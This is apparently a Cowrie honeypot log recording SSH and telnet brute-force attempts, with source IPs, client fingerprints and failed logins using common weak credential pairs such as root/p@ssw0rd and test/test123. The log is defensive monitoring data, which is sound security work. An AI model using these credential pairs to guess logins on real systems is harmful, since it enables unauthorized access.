{"eventid":"cowrie.session.closed","duration":44.5539915561676,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:30.144215Z","src_ip":"45.58.127.90","session":"9e22b8ba76ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47796,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f1b37c7427d","protocol":"ssh","message":"New connection: 176.65.132.129:47796 (159.203.135.109:22) [session: 2f1b37c7427d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:30.176736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:30.182019Z","src_ip":"176.65.132.129","session":"2f1b37c7427d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:30.264780Z","src_ip":"176.65.132.129","session":"2f1b37c7427d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:30.511407Z","src_ip":"176.65.132.129","session":"2f1b37c7427d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:31.596410Z","src_ip":"176.65.132.129","session":"2f1b37c7427d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"531c1df12159","protocol":"ssh","message":"New connection: 172.237.20.62:34492 (159.203.135.109:22) [session: 531c1df12159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:32.786906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:32.791084Z","src_ip":"172.237.20.62","session":"531c1df12159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:32.952081Z","src_ip":"172.237.20.62","session":"531c1df12159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:33.455389Z","src_ip":"172.237.20.62","session":"531c1df12159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47814,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c7d76105ede","protocol":"ssh","message":"New connection: 176.65.132.129:47814 (159.203.135.109:22) [session: 2c7d76105ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:33.668837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:33.673489Z","src_ip":"176.65.132.129","session":"2c7d76105ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:33.755698Z","src_ip":"176.65.132.129","session":"2c7d76105ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.002103Z","src_ip":"176.65.132.129","session":"2c7d76105ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"51eb0e394e79","protocol":"telnet","message":"New connection: 45.58.127.90:55894 (10.17.0.5:23) [session: 51eb0e394e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.325118Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56208,"dst_ip":"10.17.0.5","dst_port":22,"session":"1446826ffb96","protocol":"ssh","message":"New connection: 80.94.92.184:56208 (10.17.0.5:22) [session: 1446826ffb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.420518Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.619740Z","src_ip":"172.237.20.62","session":"531c1df12159","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.732025Z","src_ip":"80.94.92.184","session":"1446826ffb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:34.735674Z","src_ip":"80.94.92.184","session":"1446826ffb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:35.087065Z","src_ip":"176.65.132.129","session":"2c7d76105ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:35.697085Z","src_ip":"80.94.92.184","session":"1446826ffb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:37.028842Z","src_ip":"80.94.92.184","session":"1446826ffb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34194,"dst_ip":"159.203.135.109","dst_port":22,"session":"222d210ca62d","protocol":"ssh","message":"New connection: 176.65.132.129:34194 (159.203.135.109:22) [session: 222d210ca62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:37.059943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:37.065238Z","src_ip":"176.65.132.129","session":"222d210ca62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:37.147979Z","src_ip":"176.65.132.129","session":"222d210ca62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:37.399867Z","src_ip":"176.65.132.129","session":"222d210ca62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:38.562975Z","src_ip":"176.65.132.129","session":"222d210ca62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34206,"dst_ip":"159.203.135.109","dst_port":22,"session":"f92dacfc7b7e","protocol":"ssh","message":"New connection: 176.65.132.129:34206 (159.203.135.109:22) [session: f92dacfc7b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:40.410241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:40.416039Z","src_ip":"176.65.132.129","session":"f92dacfc7b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:40.602188Z","src_ip":"176.65.132.129","session":"f92dacfc7b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:41.004742Z","src_ip":"176.65.132.129","session":"f92dacfc7b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:42.091281Z","src_ip":"176.65.132.129","session":"f92dacfc7b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54412,"dst_ip":"159.203.135.109","dst_port":22,"session":"40eee5d0c99b","protocol":"ssh","message":"New connection: 172.237.20.62:54412 (159.203.135.109:22) [session: 40eee5d0c99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:43.572582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:43.586521Z","src_ip":"172.237.20.62","session":"40eee5d0c99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:43.752952Z","src_ip":"172.237.20.62","session":"40eee5d0c99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34222,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d2d9e398650","protocol":"ssh","message":"New connection: 176.65.132.129:34222 (159.203.135.109:22) [session: 9d2d9e398650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:44.101332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:44.106159Z","src_ip":"176.65.132.129","session":"9d2d9e398650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:44.188252Z","src_ip":"176.65.132.129","session":"9d2d9e398650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:44.239889Z","src_ip":"172.237.20.62","session":"40eee5d0c99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:44.435831Z","src_ip":"176.65.132.129","session":"9d2d9e398650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:45.404717Z","src_ip":"172.237.20.62","session":"40eee5d0c99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:45.520322Z","src_ip":"176.65.132.129","session":"9d2d9e398650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56838,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22ec66773f5","protocol":"ssh","message":"New connection: 176.65.132.129:56838 (159.203.135.109:22) [session: a22ec66773f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:47.400353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:41:47.405493Z","src_ip":"176.65.132.129","session":"a22ec66773f5","protocol":"ssh"}
